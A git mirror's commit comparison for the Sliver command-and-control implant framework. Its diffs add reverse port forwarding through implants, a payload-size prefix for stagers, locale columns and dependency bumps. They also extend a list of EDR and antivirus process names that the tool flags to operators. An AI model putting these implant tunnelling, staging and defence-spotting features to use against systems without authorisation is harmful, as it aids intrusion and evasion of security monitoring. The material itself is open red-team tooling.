mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
96
Commits
update/gorm
...
cleanup
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
52051debe9 | ||
|
|
e5ca995419 | ||
|
|
5a1f192258 | ||
|
|
94a55f0150 | ||
|
|
653f3c7e7c | ||
|
|
d9f4536e3f | ||
|
|
dd05d24fb1 | ||
|
|
c3df9ac47e | ||
|
|
d011b57e31 | ||
|
|
8db2be4e9f | ||
|
|
1b8411d097 | ||
|
|
67094dec1c | ||
|
|
265a1fa33e | ||
|
|
85e6121685 | ||
|
|
071a0cb574 | ||
|
|
d469d33e7f | ||
|
|
b013d555a4 | ||
|
|
bdf0c7b3f6 | ||
|
|
f042dee7e9 | ||
|
|
e0b756a5b6 | ||
|
|
f12a60541f | ||
|
|
3c90e4b7e0 | ||
|
|
c894e623ca | ||
|
|
03a6f5f0b6 | ||
|
|
7b3739b87c | ||
|
|
8a5855fa53 | ||
|
|
fa11691efb | ||
|
|
5628197789 | ||
|
|
dfba1eeb65 | ||
|
|
181163d65b | ||
|
|
f8db5d4607 | ||
|
|
e1516ff6c0 | ||
|
|
82e58c74f7 | ||
|
|
91a3b36ab4 | ||
|
|
62748edc97 | ||
|
|
5baf9d3b3b | ||
|
|
5332d0c76f | ||
|
|
7a9f216d9c | ||
|
|
754b9f6af6 | ||
|
|
0c601bdc4b | ||
|
|
3a06595517 | ||
|
|
a91b5a8721 | ||
|
|
c1ac4ddfea | ||
|
|
b03657462b | ||
|
|
8bc85b25aa | ||
|
|
18f8a8c23f | ||
|
|
4748f61480 | ||
|
|
f7a4aacf5f | ||
|
|
68d624fe17 | ||
|
|
acc4e39cbb | ||
|
|
a2673f74c9 | ||
|
|
da45b2da82 | ||
|
|
097866d0a2 | ||
|
|
11959d5911 | ||
|
|
70b06673fd | ||
|
|
84a95aea2a | ||
|
|
ba3ec022bb | ||
|
|
394ba431b2 | ||
|
|
cda6aeaee6 | ||
|
|
100b26afd0 | ||
|
|
187f9e99ac | ||
|
|
4917c313b6 | ||
|
|
1f6abf9be3 | ||
|
|
25a22054b7 | ||
|
|
64c5460545 | ||
|
|
76fb9dfc93 | ||
|
|
ccd3ed2250 | ||
|
|
fb5c6c0c88 | ||
|
|
11878069f6 | ||
|
|
3db3930091 | ||
|
|
9e6412c911 | ||
|
|
ade96fa281 | ||
|
|
3035d75882 | ||
|
|
4ed95375e0 | ||
|
|
9ee10c5321 | ||
|
|
3cc7be8a9f | ||
|
|
d411d2400c | ||
|
|
e31cafa81d | ||
|
|
80677e652b | ||
|
|
88abea26a7 | ||
|
|
18871a8521 | ||
|
|
ca3377799b | ||
|
|
be477918d2 | ||
|
|
120d537044 | ||
|
|
59781d4328 | ||
|
|
f117995aa1 | ||
|
|
e4793cf616 | ||
|
|
b68f4bffd3 | ||
|
|
22fea029ec | ||
|
|
b1db1ab614 | ||
|
|
40b99e860f | ||
|
|
56d143b018 | ||
|
|
327f7c6826 | ||
|
|
eb9506510e | ||
|
|
9c5aa26af9 | ||
|
|
f2b78748de |
No files matched your search
+2
-1
@@ -57,7 +57,8 @@ RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make \
|
||||
RUN make clean-all \
|
||||
&& make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
|
||||
@@ -119,6 +119,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
@@ -186,6 +187,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
|
||||
next,
|
||||
}
|
||||
|
||||
@@ -66,6 +66,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/reconfig"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/rportfwd"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -482,6 +483,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -2529,6 +2531,59 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(registryCmd)
|
||||
|
||||
// [ Reverse Port Forwarding ] --------------------------------------------------------------
|
||||
|
||||
rportfwdCmd := &grumble.Command{
|
||||
Name: consts.RportfwdStr,
|
||||
Help: "reverse port forwardings",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.RportFwdListenersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
rportfwdCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.AddStr,
|
||||
Help: "Add and start reverse port forwarding",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.StartRportFwdListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
|
||||
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
})
|
||||
rportfwdCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Stop and remove reverse port forwarding",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.StopRportFwdListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Int("i", "id", 0, "id of portfwd to remove")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(rportfwdCmd)
|
||||
|
||||
// [ Pivots ] --------------------------------------------------------------
|
||||
|
||||
pivotsCmd := &grumble.Command{
|
||||
|
||||
@@ -65,6 +65,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
"ID",
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Sessions",
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
@@ -81,6 +82,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
host.Locale,
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -39,6 +40,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
prependSize := ctx.Flags.Bool("prepend-size")
|
||||
compress := strings.ToLower(ctx.Flags.String("compress"))
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
@@ -117,6 +119,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting HTTP staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
@@ -133,6 +138,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
|
||||
case "https":
|
||||
if prependSize {
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
}
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
@@ -158,6 +166,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
|
||||
case "tcp":
|
||||
// Always prepend payload size for TCP stagers
|
||||
stage2 = prependPayloadSize(stage2)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Starting TCP staging listener...", ctrl)
|
||||
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
|
||||
@@ -184,3 +194,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
}
|
||||
|
||||
func prependPayloadSize(payload []byte) []byte {
|
||||
payloadSize := uint32(len(payload))
|
||||
lenBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
|
||||
return append(lenBuf, payload...)
|
||||
}
|
||||
@@ -19,8 +19,10 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -29,6 +31,10 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
|
||||
)
|
||||
|
||||
// PortfwdAddCmd - Add a new tunneled port forward
|
||||
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if session.GetActiveC2() == "dns" {
|
||||
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
}
|
||||
if session.Transport == "wg" {
|
||||
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
|
||||
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
|
||||
}
|
||||
remoteAddr := ctx.Flags.String("remote")
|
||||
if remoteAddr == "" {
|
||||
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
|
||||
}
|
||||
bindAddr := ctx.Flags.String("bind")
|
||||
if remoteAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port")
|
||||
if bindAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
|
||||
return
|
||||
}
|
||||
// If only a port is specified bind to localhost
|
||||
if portNumberOnlyRegexp.MatchString(bindAddr) {
|
||||
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
|
||||
}
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
|
||||
@@ -51,12 +51,28 @@ var (
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
if session.GetActiveC2() == "dns" {
|
||||
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
}
|
||||
|
||||
bindAddress := ctx.Flags.String("bind")
|
||||
// Check if the bind address is just a port number, if no host is specified
|
||||
// we just bind to all interfaces implant-side
|
||||
if portNumberOnlyRegexp.MatchString(bindAddress) {
|
||||
bindAddress = fmt.Sprintf(":%s", bindAddress)
|
||||
}
|
||||
|
||||
forwardAddress := ctx.Flags.String("remote")
|
||||
// Check if the forward address is just a port number, if no host is specified
|
||||
// we just forward to localhost client-side
|
||||
if portNumberOnlyRegexp.MatchString(forwardAddress) {
|
||||
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
|
||||
}
|
||||
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
BindAddress: bindAddress,
|
||||
ForwardAddress: forwardAddress,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printStartedRportFwdListener(rportfwdListener, con)
|
||||
}
|
||||
|
||||
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
|
||||
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
|
||||
con.PrintErrorf("%s", rportfwdListener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
listenerID := ctx.Flags.Int("id")
|
||||
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ID: uint32(listenerID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printStoppedRportFwdListener(rportfwdListener, con)
|
||||
}
|
||||
|
||||
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
|
||||
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
|
||||
con.PrintErrorf("%s", rportfwdListener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
|
||||
}
|
||||
|
||||
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(rportfwdListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No reverse port forwards\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Remote Address",
|
||||
"Bind Address",
|
||||
})
|
||||
for _, p := range rportfwdListeners.Listeners {
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.ForwardAddress,
|
||||
p.BindAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -140,6 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
@@ -186,6 +187,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
|
||||
@@ -88,6 +88,9 @@ const (
|
||||
|
||||
// BeaconTaskResult - Beacon task completed with a result
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
|
||||
// ExternalBuildEvent
|
||||
ExternalBuildEvent = "external-build"
|
||||
)
|
||||
|
||||
// Commands
|
||||
@@ -224,8 +227,9 @@ const (
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
RportfwdStr = "rportfwd"
|
||||
|
||||
ReactionStr = "reaction"
|
||||
|
||||
|
||||
@@ -5,14 +5,14 @@ go 1.18
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
@@ -20,21 +20,23 @@ require (
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/gofrs/uuid v4.3.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.12.1
|
||||
github.com/onsi/gomega v1.10.0
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/shirou/gopsutil/v3 v3.22.8
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
@@ -50,7 +52,7 @@ require (
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.9
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.8
|
||||
gorm.io/gorm v1.23.9
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.16.0
|
||||
)
|
||||
@@ -59,7 +61,6 @@ require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/StackExchange/wmi v1.2.1 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
@@ -70,6 +71,7 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.4.9 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
@@ -98,21 +100,26 @@ require (
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/nxadm/tail v1.4.4 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
